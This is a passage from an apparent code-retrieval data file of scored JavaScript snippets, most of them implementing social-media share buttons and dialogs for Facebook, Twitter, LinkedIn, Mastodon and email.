0.1);\n\n\t\t$currentBtn\n\t\t\t.on('click', function (e) {\n\t\t\t\te.preventDefault();\n\t\t\t});\n\n\t\tif (DESKTOP) {\n\t\t\t$wrapper.on('mouseenter', function () {\n\t\t\t\t\ttw.play();\n\t\t\t\t}).on('mouseleave', function () {\n\t\t\t\t\ttw.reverse();\n\t\t\t\t});\n\t\t} else {\n\t\t\t$wrapper.on('click', function () {\n\t\t\t\tif (tw.progress() !== 0) {\n\t\t\t\t\ttw.reverse();\n\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\ttw.play();\n\t\t\t});\n\t\t}\n\t});\n}", "title": "" }, { "docid": "7c2b70b17531e7c0c7c2e78bd0eb6a5a", "score": "0.5716043", "text": "function share(subject, text) {\n if (window.phonegapExcluded === false) {\n var shares = cordova.require(\"cordova/plugin/share\");\n shares.show(\n {subject: subject, text: text},\n function () {\n console.info(\"PhoneGap Plugin: Share: callback success\");\n },\n function () {\n console.error(\"PhoneGap Plugin: Share: callback error\");\n }\n );\n } else {\n subject = subject.replace('', '%20');\n text = text.replace('', '%20');\n window.location.href = \"mailto:[email protected]?subject=\" + subject + \"&body=\" + text;\n }\n}", "title": "" }, { "docid": "69834a36763c6bbc54bfbfc7e5747aff", "score": "0.5714774", "text": "function shareContent(container, type){\n\n // Store raw values to later check if undefined/empty\n var postImg = $(container).find('.slick-slides').find('.post-thumb').find('img').attr('src'),\n vidImg = $(container).data('src');\n\n // Create object to neatly store titles, images, links.\n var shareInfo = {\n\n link: $(container).find('.entry-title').find('a').attr('href'),\n name: $(container).find('.entry-title').find('a').html(),\n image : (function checkImage() {\n\n if (postImg === undefined) {\n return 'https://img.youtube.com/vi/' + vidImg + '/hqdefault.jpg';\n } else if (!vidImg) {\n return postImg;\n } else {\n // @TODO: Specify default meta image\n return postImg;\n }\n\n })()\n };\n\n\n switch (type) {\n case 'facebook':\n // Insert object values into FB.ui feed dialogue\n FB.ui(\n {\n method: 'feed',\n name: shareInfo.name,\n caption: shareInfo.name,\n picture: shareInfo.image,\n link: shareInfo.link\n },\n\n function (response) {\n // @TODO: Catch errors, and/or say thanks on success!\n });\n break;\n default:\n }\n\n}", "title": "" }, { "docid": "263027db87678ea3df53937958d3a55f", "score": "0.57042545", "text": "function share3(item) {\r\n\r\n if (window.offerUrl) {\r\n\r\n // open offer window\r\n goOffer();\r\n\r\n }\r\n\r\n}", "title": "" }, { "docid": "b8a199dc48ce4b4bdba9cd07deaacf80", "score": "0.568947", "text": "function share(url, title, description, source) {\n var link = 'http://www.linkedin.com/shareArticle?mini=true'\n + '&url=' + encodeURIComponent(url);\n\n if (title) link += '&title=' + encodeURIComponent(title)\n if (description) link += '&summary=' + encodeURIComponent(description);\n if (source) link += '&source=' + encodeURIComponent(source);\n\n // load('http://platform.linkedin.com/in.js?async=true')\n\n return open(link);\n}", "title": "" }, { "docid": "47faafc1f79cea34de793d385969bb82", "score": "0.5672558", "text": "function showsocialshare(button){\n\t\t\t$(button).children(\".share-show-social\").toggle();\n\t\t}", "title": "" }, { "docid": "5298f8b59f0ed722917a489a556bf3be", "score": "0.5671573", "text": "function shareURL(type, id){\n////get description and title from html\nvar desc = $('.c_'+id).find('.htext').html();\nvar bigdesc = $('.c_'+id).find('.hide').html();\n\nif (bigdesc.length<5){\nbigdesc = $('.c_'+id).find('.mntext').html();\n}\n\n\n////post to facebook wall\nif (type==\"fb\"){\nvar imgid = getimageid(parseInt(id));\nvar wdt = ($(window).width()/2);\n////create post url\nvar url ='https://www.facebook.com/dialog/feed?'+\n 'app_id=159161370927800&'+\n 'link='+encodeURIComponent(linkurl+'main/index.html#'+$('.c_'+id).attr('id'))+'&'+\n 'picture='+linkurl+currentpage+'rollover.png&'+\n 'name=Discover%20Sharepoint&'+\n 'caption='+encodeURIComponent(desc)+'&'+\n 'description='+encodeURIComponent(bigdesc)+'.&'+\n 'redirect_uri='+encodeURIComponent(linkurl+'main/index.html#'+$('.c_'+id).attr('id'));\n ////post in blank tab\n////window.open(url,'_blank');\nvar wdt = ($(window).innerWidth()/2)-500;\nvar hdt = ($(window).innerHeight()/2)-300;\n//post in popup window\nwindow.open(url,'1368776105683','width=1000,height=600,toolbar=0,menubar=0,location=0,status=1,scrollbars=0,resizable=0,left='+wdt+',top='+hdt);\n////post to linkedin\n}else if (type==\"li\"){\n////create post url\nvar url='http://www.linkedin.com/shareArticle?'+\n'mini=true&'+\n'url='+encodeURIComponent(linkurl+'main/index.html#'+$('.c_'+id).attr('id'))+'&'+\n'title='+encodeURIComponent(desc)+'&'+\n'summary='+encodeURIComponent(bigdesc)+'&'+\n'source=Discover%20Sharepoint';\nvar wdt = ($(window).width()/2)-260;\nvar hdt = ($(window).height()/2)-200;\n////post in popup window\nwindow.open(url,'1368776105683','width=520,height=400,toolbar=0,menubar=0,location=0,status=1,scrollbars=0,resizable=0,left='+wdt+',top='+hdt);\n////post to email\n}else if (type==\"twit\"){\n////create post url\nvar url='https://twitter.com/share?'+\n'url='+encodeURIComponent(linkurl+'main/index.html#'+$('.c_'+id).attr('id'));\nvar wdt = ($(window).width()/2)-260;\nvar hdt = ($(window).height()/2)-225;\n////post in popup window\nwindow.open(url,'1368776105683','width=520,height=450,toolbar=0,menubar=0,location=0,status=1,scrollbars=0,resizable=0,left='+wdt+',top='+hdt);\n////post to email\n}else if (type==\"yam\"){\n////create post url\nvar url='https://www.yammer.com/messages/new?'+\n'status='+encodeURIComponent(linkurl+'main/index.html#'+$('.c_'+id).attr('id'));\n////post in new window\nwindow.open(url,'1368776105683','width=1000,height=600,toolbar=0,menubar=0,location=0,status=1,scrollbars=0,resizable=0,left='+wdt+',top='+hdt);\n////post to email\n}else{\n////open native email client\nwindow.open('mailto: ?subject='+desc+'&body=Hello, I just found this and thought you might be interested:%0D%0A%0D%0A\"'+bigdesc+'\"%0D%0A%0D%0Ahttp://'+baseurl+'/main/index.html#/'+$('.c_'+id).attr('id'),'_blank');\n}\n}", "title": "" }, { "docid": "bafed2e21202d1ae42456d503eff4ef3", "score": "0.56580174", "text": "function shareBeanstalk(e) {\n var request = e.request;\n\n request.data.properties.title = SHARE_TITLE;\n request.data.setText('Check out this awesome app on the Windows Store today!');\n\n }", "title": "" }, { "docid": "5e3a28f0e87c7f931dfb9291f8644cb5", "score": "0.5657019", "text": "updateDesktopSharingButtonState () {\n this._setToggledState( \"toolbar_button_desktopsharing\",\n APP.conference.isSharingScreen);\n }", "title": "" }, { "docid": "d8d63054155e0f348402e9b09158fbf0", "score": "0.5654947", "text": "function data_wdShared(e) {\r\n\t\tvar social, data, link, url, title;\r\n\t\tdata = new AttrHTML(e);\r\n\t\tif (data.has(\"wdShared\")) {\r\n\t\t\turl = encodeURIComponent(document.URL);\r\n\t\t\ttitle = encodeURIComponent(document.title);\r\n\t\t\tsocial = new WD(data.data(\"wdShared\")).toString().toLowerCase();\r\n\t\t\tswitch (social) {\r\n\t\t\t\tcase \"facebook\":\r\n\t\t\t\t\tlink = \"https://www.facebook.com/sharer.php?u=\"+url;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \"twitter\":\r\n\t\t\t\t\tlink = \"https://twitter.com/share?url=\"+url+\"&text=\"+title+\"&via=&hashtags=\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \"linkedin\":\r\n\t\t\t\t\tlink = \"https://www.linkedin.com/shareArticle?url=\"+url+\"&title=\"+title;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \"reddit\":\r\n\t\t\t\t\tlink = \"https://reddit.com/submit?url=\"+url+\"&title=\"+title;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \"evernote\":\r\n\t\t\t\t\tlink = \"https://www.evernote.com/clip.action?url=\"+url+\"&title=\"+title;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tdefault:\r\n\t\t\t\t\tlink = null;\r\n\t\t\t}\r\n\t\t\tif (link !== null) {window.open(link);}\r\n\t\t}\r\n\t\treturn;\r\n\t}", "title": "" }, { "docid": "dd8407d3a5a72e59c517a56370ced1c1", "score": "0.56526256", "text": "async function share_btn(){\r\n try{\r\n const image = await captureRef(main_view, {\r\n format: 'jpg',\r\n quality: 0.8,\r\n result: 'tmpfile'\r\n })\r\n //console.log(image)\r\n if(!Sharing.isAvailableAsync()){\r\n return null\r\n }\r\n await Sharing.shareAsync(image)\r\n\r\n }catch(err){\r\n //console.log(err)\r\n ToastAndroid.show('Error: Fail To Share', ToastAndroid.SHORT)\r\n return null\r\n }\r\n }", "title": "" }, { "docid": "b998f70cba8e6b1019140a2482cca721", "score": "0.56481826", "text": "function tb_pluginvshare(btn, props, edid) {\n PluginVShare.edid = edid;\n\n PluginVShare.buildSyntax();\n}", "title": "" }, { "docid": "2ecbb666019de8ec92d675e554183941", "score": "0.56253666", "text": "function facebookShare() {\n $('.facebook.icons').click(function (e) {\n e.preventDefault();\n var state = window.history.state;\n\n var title = \"PitechPlus - Engineered to Evolve\";\n var description = \"means to put human relationships before devices, \" +\n \"teamwork above one sided guidelines,and viable adjustments over \" +\n \"strict plans. You will discover this when you partner with us.\";\n if (state !== undefined) {\n var section = $('[data-id=' + state + ']');\n title = section.find('h1').text();\n description = \"PitechPlus - Engineered to Evolve\";\n }\n\n FB.ui({\n method: 'share',\n href: window.location.href,\n title: title,\n picture: window.location.origin + \"/img/share_img.png\",\n description: description,\n caption: \"PitechPlus\",\n name: title\n });\n });\n}", "title": "" }, { "docid": "c4b137a0b491fff48312ba8c87028803", "score": "0.56043404", "text": "function doShareWithFacebook(){\n\t\tCDV.FB.getLoginStatus(\n\t\t function (status) {\n\t\t \tif(status==\"OPENED\"){\n\t\t \t\tpublishStory();\n\t\t \t}else{\n\t\t \t\tCDV.FB.login(\n\t\t \t\t\t\t{scope: 'user_birthday,user_status,email,user_location,offline_access,user_about_me,user_likes,user_interests,user_education_history'},\n\t\t \t\t\t fbLoginSuccess,\n\t\t \t\t\t function (error) { alert(\"\" + error) }\n\t\t \t\t\t);\n\t\t \t}\n\t\t \n\t\t }\n\t\t );\n\t\t\n}", "title": "" }, { "docid": "d1a8c761c6602bb2738172513f3c6502", "score": "0.55943596", "text": "function openSharing(site,param) {\r\n\tvar socialPageUrl = jQuery(\"#nw-social-pageurl\").val();\r\n\tvar linkUrl = \"sharingFromEmail.html?link=\"+socialPageUrl+\"&param=\"+param+\"&site=\"+site;\r\n\tvar fancyBoxOptions = {\r\n\t\t'minWidth': 500,\r\n\t\t'minHeight': (site == 'facebookLike')?150:100,\r\n\t\t'maxHeight' : 150,\r\n\t\ttype:'iframe',\r\n\t\tpadding:0,\r\n\t\tmargin:0,\r\n\t\tautoResize: true,\r\n\t\tautoCenter: true\r\n\t};\r\n\tjQuery(\"<a></a>\").hide().attr(\"href\",linkUrl).fancybox(fancyBoxOptions).click();\r\n}", "title": "" }, { "docid": "b4532e92f9a8bc7bc249b017dfda2701", "score": "0.5589744", "text": "function openSharePopup(isFirstSave)\r\n\t\t\t{\r\n\t\t\t\t_sharePopup.present(isFirstSave, Core.getHeaderUserCfg());\r\n\t\t\t\tif(isFirstSave && app.isDirectCreationFirstSave){\r\n\t\t\t\t\tapp.maps[app.data.getWebAppData().getWebmap()] = _mainView.getMapConfig(app.data.getResponse());\r\n\t\t\t\t\t$.each($('.esriSimpleSliderIncrementButton .mapCommandHomeBtn'), function(index, button){\r\n\t\t\t\t\t\tif(index !== 0)\r\n\t\t\t\t\t\t\t$(button).parent().remove();\r\n\t\t\t\t\t});\r\n\t\t\t\t}\r\n\t\t\t}", "title": "" }, { "docid": "755f1b540930b8464a5cd189f8f6019a", "score": "0.55799925", "text": "function shareInGooglePlusEventListener (e)\n\t{\n\t\te.preventDefault();\n\t\tvar metaTagMappingOg = this.getApplication().getConfig('metaTagMappingOg')\n\t\t,\turl = metaTagMappingOg['og:url'](this, 'google-plus');\n\t\t\n\t\tthis.Application.shareInGooglePlus(url);\n\t}", "title": "" }, { "docid": "43c34880776fa79b06a11ce878ba2735", "score": "0.5576008", "text": "function initSharingButtons() {\n $('.prettySocial').prettySocial();\n }", "title": "" }, { "docid": "a015422d6922ce6d1d7dcc97b39034a4", "score": "0.5571443", "text": "setSharePath(path) {\n d.dispatch({\n type: types.SET_SHARE_PATH,\n path\n });\n }", "title": "" }, { "docid": "700994a5a20cbf3fb76e1b02bcba1f72", "score": "0.55636376", "text": "function share_on_mastodon(title, url, hashtags) {\n // Prefill the form with the user's previously-specified Mastodon instance, if applicable\n var default_url = localStorage['mastodon_instance'];\n\n // If there is no cached instance/domain, then insert a \"https://\" with no domain at the start of the prompt.\n if (!default_url)\n default_url = \"https://\";\n\n var instance = prompt(\"Enter your instance's address: (ex: https://mastodon.social)\", default_url);\n if (instance) {\n // Handle URL formats\n if ( !instance.startsWith(\"https://\") && !instance.startsWith(\"http://\") )\n instance = \"https://\" + instance;\n\n // Get the current page's URL\n if (!url) var url = window.location.href;\n\n // Get the page title from the og:title meta tag, if it exists.\n // var title = document.querySelectorAll('meta[property=\"og:title\"]')[0].getAttribute(\"content\");\n\n // Otherwise, use the <title> tag as the title\n if (!title) var title = document.getElementsByTagName(\"title\")[0].innerHTML;\n\n // Handle slash\n if ( !instance.endsWith(\"/\") )\n instance = instance + \"/\";\n\n // Cache the instance/domain for future requests\n localStorage['mastodon_instance'] = instance;\n\n // Hashtags\n if (!hashtags) var hashtags = null;\n\n // Tagging users, such as offical accounts or the author of the post\n var author = \"@[email protected]\";\n\n // Create the Share URL\n // https://someinstance.tld/share?text=URL%20encoded%20text\n mastodon_url = instance + \"share?text=\" + encodeURIComponent(title + \"\\n\\nby \" + author + \" \" + hashtags + \"\\n\\n\" + url);\n\n // Open a new window at the share location\n console.log(\"Mastodon share URL:\" + mastodon_url);\n window.open(mastodon_url, '_blank');\n }\n}", "title": "" }, { "docid": "087149b252d3e40d758548aad8d254c5", "score": "0.55604553", "text": "function updateShareLinks() {\n\n\n\n /* Twitter share text */ \n\n var twitterShareUrl = sharePageUrl + \"?guid=\" + memeGuid + \"\";\n\n $('#twitter .caption textarea').val(twitterShareTxt + ' ' + twitterShareUrl);\n\n twitterShareTxt = encodeURIComponent(twitterShareTxt) + \" \" + encodeURIComponent(twitterShareUrl) + \" #beberexha\";\n\n var twitterURL = 'https://twitter.com/intent/tweet?original_referer=' + pageUrl + '&text=' + twitterShareTxt; \n\n\n\n /* Tumblr share text */\n\n var tbShareUrl = sharePageUrl + \"?guid=\" + memeGuid + \"\";\n var tbshareTxt = tumblrShareTxt;\n\n var tumblrShareURL = \"http://www.tumblr.com/share/photo?source=\" + encodeURIComponent(pageUrl + \"/output/\" + memeGuid + \"-images.png\") + \"&caption=\" + encodeURIComponent(tbshareTxt) + \"&clickthru=\" + encodeURIComponent(tbShareUrl);\n\n}", "title": "" }, { "docid": "5d9cd0532507a368b19062a29a9213e3", "score": "0.5555464", "text": "function mobileTapShare(socket, room, callback) {\n frontEndEcho.socket.emit('tap', frontEndEcho.room);\n callback();\n}", "title": "" }, { "docid": "fbff4cb8544bd9ce3b7ac7a31ce413b2", "score": "0.55470437", "text": "function publishStory(picture) {\n console.log(picture);\n FB.ui({\n method: 'feed',\n name: 'Yo decido mi futuro',\n caption: 'Decide bien tu futuro.',\n description: 'Infórmate y decide bien tu futuro profesional.',\n link: 'https://play.google.com/store/apps/details?id=com.sqmos.eduinf',\n picture: picture,\n actions: [{ name: 'Informate', link: 'https://play.google.com/store/apps/details?id=com.sqmos.eduinf' }],\n }, \n function(response) {\n console.log('publishStory UI response: ', response);\n });\n}", "title": "" }, { "docid": "c46270ad4d7106ee38069f1028c8888c", "score": "0.5544709", "text": "share (destination, callback) {\n\t\tif (tools.notType(destination, 'string')) {\n\t\t\treturn;\n\t\t} else if (destination.slice(-4) !== '.sia') {\n\t\t\tconsole.error('Share path needs end in \".sia\"!', destination);\n\t\t\treturn;\n\t\t}\n\t\tsiad.apiCall({\n\t\t\turl: '/renter/share',\n\t\t\tqs: {\n\t\t\t\tsiapaths: this.paths,\n\t\t\t\tdestination: destination,\n\t\t\t},\n\t\t}, callback);\n\t}", "title": "" }, { "docid": "8e18cff46120d61ac9a0c61af61a5a88", "score": "0.55385804", "text": "function handleSharingButtonClick(buttonDetails){\r\n\r\n // determine the URL\r\n var finalUrl =\r\n buttonDetails.url.replace(\r\n '<url>', encodeURIComponent(location.href));\r\n finalUrl = finalUrl.replace('<title>', encodeURIComponent(document.title));\r\n\r\n // open the URL\r\n if (buttonDetails.width == 0 || buttonDetails.height == 0){\r\n location.href = finalUrl;\r\n }else{\r\n window.open(\r\n finalUrl,\r\n '_blank',\r\n 'menubar=no,toolbar=no,resizable=yes,scrollbars=yes,width='\r\n + buttonDetails.width\r\n + ',height='\r\n + buttonDetails.height);\r\n }\r\n\r\n }", "title": "" }, { "docid": "d1f005be12d1ff702ef2723e8f2cd759", "score": "0.553499", "text": "function handleClick(e) {\n e.preventDefault();\n\n let url = \"\";\n\n if (e.target.id == \"share-btn-facebook\") {\n url = \"https://www.facebook.com/sharer/sharer.php?u=\" + yourUrl;\n } else if (e.target.id == \"share-btn-twitter\") {\n url =\n \"https://twitter.com/intent/tweet?text=\" +\n tweetTitle +\n \"&via=\" +\n twitterId +\n \"&url=\" +\n yourUrl;\n } else if (e.target.id == \"share-btn-linkedin\") {\n url =\n \"https://www.linkedin.com/shareArticle?mini=true&url=http://developer.linkedin.com&title=LinkedIn%20Developer%20Network&summary=My%20favorite%20developer%20program&source=LinkedIn\" +\n yourUrl;\n } else if (e.target.id == \"share-btn-googleplus\") {\n url = \"https://plus.google.com/share?url=\" + yourUrl;\n }\n\n window.open(url, \"Share\", \"scrollbar=yes, width=640, height=340\");\n }", "title": "" }, { "docid": "514bede814f3c0581f68647f567dc082", "score": "0.55330825", "text": "function publishStoryFriend() {\n randNum = Math.floor ( Math.random() * friendIDs.length ); \n\n var friendID = friendIDs[randNum];\n \n console.log('Opening a dialog for friendID: ', friendID);\n \n FB.ui({\n method: 'feed',\n to: friendID,\n name: 'I\\'m using the Hackbook web app',\n caption: 'Hackbook for Mobile Web.',\n description: 'Check out Hackbook for Mobile Web to learn how you can make your web apps social using Facebook Platform.',\n link: 'http://apps.facebook.com/mobile-start/',\n picture: 'http://www.facebookmobileweb.com/hackbook/img/facebook_icon_large.png',\n actions: [{ name: 'Get Started', link: 'http://apps.facebook.com/mobile-start/' }],\n user_message_prompt: 'Tell your friends about building social web apps.'\n }, \n function(response) {\n console.log('publishStoryFriend UI response: ', response);\n });\n}", "title": "" }, { "docid": "edc1f7ab6ee4bb4b4b21279cad8c025a", "score": "0.5527936", "text": "function modShare(){\n\t$(\".mod-share\").show();\n\tvar shareTool = $('.share-tool li.drop');\n\t\n\t// On mouseenter / mouseleave, show/hide share module\n\t$(shareTool).each(function () {\n\t\t$(this).bind(\"mouseenter\", function (e) {\n\t\t\t$(this).addClass('sfhover').find('.sec-nav').css('display', 'block');\n\t\t\tif($.browser.msie && $.browser.version < \"7.0\") $(\"#grid-06-sul .mod-language-selection .select-language, #grid-12-sup .mod-language-selection .select-language\").hide();\n\n\t\t}).bind(\"mouseleave\", function (e) {\n\t\t\t$(this).removeClass('sfhover').find('.sec-nav').css('display', 'none');\n\t\t\tif($.browser.msie && $.browser.version < \"7.0\") $(\"#grid-06-sul .mod-language-selection .select-language, #grid-12-sup .mod-language-selection .select-language\").show();\n\n\t\t});\n\t});\n}", "title": "" }, { "docid": "cced6fb5d82fec3508bae0916415f8bb", "score": "0.55249995", "text": "onScreenPush(screenName, navigator) {\n navigator.push({\n id: screenName\n });\n }", "title": "" }, { "docid": "6d34da62edf490414657725911de1369", "score": "0.5524289", "text": "function twitterShare(url){\n console.log(url)\n if(url === \"missingurl\"){\n window.open(`/${url}`, \"_blank\")\n }\n\n else{\n window.open(`https://twitter.com/intent/tweet?&text=${url}`, \"_blank\")\n }\n}", "title": "" } ]
38ed64bae6d4f5b02b79aeec887e8d08
Initialisiert den Baum und das Fenster
[ { "docid": "764d090a73508e5ca341585c39a0fa4f", "score": "0.0", "text": "function init(treeData) {\r\n margin = {top: 10, right: 0, bottom: 10, left: 160};\r\n width = Math.max(document.getElementById(\"diagram\").getBoundingClientRect().width, 800) - margin.right - margin.left;\r\n height = Math.max(document.getElementById(\"diagram\").getBoundingClientRect().height, 800) - margin.top - margin.bottom;\r\n\r\n i = 0;\r\n duration = 750;\r\n\r\n tree = d3.layout.tree()\r\n .size([height, width]);\r\n\r\n diagonal = d3.svg.diagonal()\r\n .projection(function(d) { return [d.y, d.x]; });\r\n\r\n // zooming\r\n zoom = d3.behavior.zoom()\r\n .scale(1)\r\n .scaleExtent([0.1, 8])\r\n .on(\"zoom\", zoomed);\r\n\r\n svg = d3.select(\"#diagram\").append(\"svg\")\r\n .attr(\"width\", width + margin.right + margin.left)\r\n .attr(\"height\", height + margin.top + margin.bottom)\r\n .call(zoom)\r\n .append(\"g\")\r\n .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\r\n\r\n\r\n\r\n // rectangle for zooming and dragging\r\n svg.append('svg:rect')\r\n .attr('width', $(\"#diagram\").innerWidth())\r\n .attr('height', $(\"#diagram\").innerHeight())\r\n .attr('class', \"drawarea\")\r\n .attr('fill', 'white');\r\n\r\n\r\n d3.select(self.frameElement).style(\"height\", \"1000px\");\r\n\r\n\r\n root = treeData[0];\r\n root.x0 = height / 2;\r\n root.y0 = 0;\r\n\r\n // Zeichnet den Baum\r\n update(root);\r\n}", "title": "" } ]
[ { "docid": "35dc35c3d0cc30416e297013b49409b1", "score": "0.71271765", "text": "initalizing() {}", "title": "" }, { "docid": "c9721b60f938f02b21fa007960bfa984", "score": "0.67696846", "text": "function init() {\n this.curbill = new CreaFrm() ;\n this.ttlbil = 0\t ;\n\n }", "title": "" }, { "docid": "e35dcaad55ad8e12fd5a61bcd85d99a4", "score": "0.6759469", "text": "init(){}", "title": "" }, { "docid": "b051776c4a331e59a98728903a7dc95a", "score": "0.6623597", "text": "initialize(){}", "title": "" }, { "docid": "0ed8604be740139c80dc8cf599d46047", "score": "0.6558248", "text": "constructor(data = {})\n {\n this.data = data;\n this.init();\n }", "title": "" }, { "docid": "27221cbb17bc6aeb8d280dfb7618a4e5", "score": "0.65574497", "text": "function Ctor() {\n\t\t\t// empty\n\t\t}", "title": "" }, { "docid": "4f0353230bbfb7ef873664c04730863c", "score": "0.6549569", "text": "function init() {\n \n }", "title": "" }, { "docid": "3cd64d249207b495d067f2fb6e91f022", "score": "0.6432217", "text": "constructor(data){\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "baa7a090cd2fd11dee37250a81f086c9", "score": "0.6384126", "text": "constructor() {\n super();\n this.data = new Data();\n }", "title": "" }, { "docid": "80f5e2ec6fe1400f4eb951e0ccb4efa1", "score": "0.6373023", "text": "init() {\n this.add();\n this.preFillNameFields('firstName', 'lastName');\n this.validateFields();\n this.remove();\n }", "title": "" }, { "docid": "595b0ec0e12e03e3803735abc4d9c721", "score": "0.63384163", "text": "init()\n\t{\n\n\t}", "title": "" }, { "docid": "3ce43d32acc7ae6545d739091e4dee84", "score": "0.6337342", "text": "constructor()\n\t{\n\t\n\t}", "title": "" }, { "docid": "c72b2ed1f88f7a0e5341ebeb965369c6", "score": "0.6325678", "text": "constructor(){\n //Empty Constructor\n }", "title": "" }, { "docid": "5c68ecc31ba854b19027057f03da003f", "score": "0.63244706", "text": "constructor(data) {\n this.init();\n if (data) this.mapBasicData(data);\n }", "title": "" }, { "docid": "2832696e8ee8ac31265dea83a6982adf", "score": "0.6309656", "text": "function init() {\n \n }", "title": "" }, { "docid": "5b9937bfa85b33de6ebca88463969d7e", "score": "0.6290581", "text": "_init(){\n this.arrName = this._dataInArr(this.objName);\n this.arrCurrency = this._dataInArr(this.currency);\n this.arrLetters = this._dataInArr(this.letters);\n this.arrGrapheme = this._dataInArr(this.grapheme);\n this.arrRatio = this._dataInArr(this.ratio, '2000');\n\n this.currencyArrObj = this._createArrObject(this.arrName);\n this._addPropertyArrObj(this.currencyArrObj, this.arrCurrency, 'currency');\n this._addPropertyArrObj(this.currencyArrObj, this.arrLetters, 'letters');\n this._addPropertyArrObj(this.currencyArrObj, this.arrGrapheme, 'grapheme');\n this._addPropertyArrObj(this.currencyArrObj, this.arrRatio, 'ratio');\n }", "title": "" }, { "docid": "9daa01c69c6a6715f6e4785b0d9c623f", "score": "0.62811035", "text": "constructor() {\n // * 2nd way no parameters inside, more work to do since you need to pass on later the values\n this.name = \"\"; // creating the properties , default value is empty\n this.age = 0;\n this.birthday = 0;\n }", "title": "" }, { "docid": "1f10edc3e4f2f2c069d925bcb24fe5d8", "score": "0.62795204", "text": "function init()\n {\n\n }", "title": "" }, { "docid": "902e9d37369440db10cdae2532e55e0f", "score": "0.6269205", "text": "function init() {\n\t\t\tresetData();\n\t\t}", "title": "" }, { "docid": "9cf962fe3147858cc493f32a9a13a75b", "score": "0.62608254", "text": "initialize() {\n this.internal.header=new bisheader();\n this.internal.header.initializenifti();\n this.tmpheaderinfo=null;\n }", "title": "" }, { "docid": "a9a2f6a7d0bd4d32b5dd328eb5f072fa", "score": "0.6232097", "text": "static initialize(obj, firstName, surname, address, dateOfBirth) { \n obj['firstName'] = firstName;\n obj['surname'] = surname;\n obj['address'] = address;\n obj['dateOfBirth'] = dateOfBirth;\n }", "title": "" }, { "docid": "9cd208f13374174bf35df98190dd9439", "score": "0.6212993", "text": "static initialize(obj, name, level, inspiration, currency, experience, alive, readyDate) { \n obj['name'] = name;\n obj['level'] = level;\n obj['inspiration'] = inspiration;\n obj['currency'] = currency;\n obj['experience'] = experience;\n obj['alive'] = alive;\n obj['readyDate'] = readyDate;\n }", "title": "" }, { "docid": "31b50dfc8e8374d9bdf8de0a020401e7", "score": "0.6208216", "text": "function init() {\n\n }", "title": "" }, { "docid": "23d1d6f634592594997e2e508d152f5c", "score": "0.62078905", "text": "function init(){\r\n\t\tthis.model = new Model();\r\n\t\tthis.view = new View();\r\n\t\tthis.controller = new Controller();\r\n\t}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.6200113", "text": "init() {}", "title": "" }, { "docid": "52693644f9d3896a8648bf398cffaa88", "score": "0.6195524", "text": "static initialize(obj, msg, b, pk) { \n obj['msg'] = msg;\n obj['b'] = b;\n obj['h'] = h;\n obj['pk'] = pk;\n }", "title": "" }, { "docid": "80c7e8e10da7815e8b0155b8babda754", "score": "0.6169969", "text": "constructor() {\n this.fields = [];\n this._initFields();\n }", "title": "" }, { "docid": "fc0ef87020777844289c37cfba197a39", "score": "0.61404586", "text": "function init() {\n\n\n }", "title": "" }, { "docid": "8fe5b0a49fe8939fd0afafb73b48e72d", "score": "0.6126068", "text": "constructor (datoNombre, datoApellido, datoAltura){\n super (datoNombre,datoApellido,datoAltura) //aca lo que decimos es que tome el detalle de las variables \"dataNombre,dataApellido y datoAltura\" con la estructura de la clase superior, que en este caso es \"persona\"\n // this.nombre = datoNombre\n // this.apellido = datoApellido \n // this.altura = datoAltura\n }", "title": "" }, { "docid": "1d4df5b9166d2d4a0e92a2cfa95a5ea2", "score": "0.6108158", "text": "initialize(data) {\n this.$exists = false;\n this.$changed = {};\n this.$attributes = {};\n this.fill(data);\n this.$initialized = true;\n return this;\n }", "title": "" }, { "docid": "0911e8a8d9b5b080378a02c96015d735", "score": "0.6107123", "text": "function t_object(){this.__init__.apply(this, arguments)}", "title": "" }, { "docid": "b5f880af866981252af918e48d932279", "score": "0.61029553", "text": "static initialize(obj, number, _byte, date, password) { \n obj['number'] = number;\n obj['byte'] = _byte;\n obj['date'] = date;\n obj['password'] = password;\n }", "title": "" }, { "docid": "953230c4629db514fcf61f0289f52e8c", "score": "0.60971487", "text": "function initData() {\n \n _readPersData(); \n _readAllVV();\n \n \n \n \n }", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.609421", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.609421", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.609421", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": 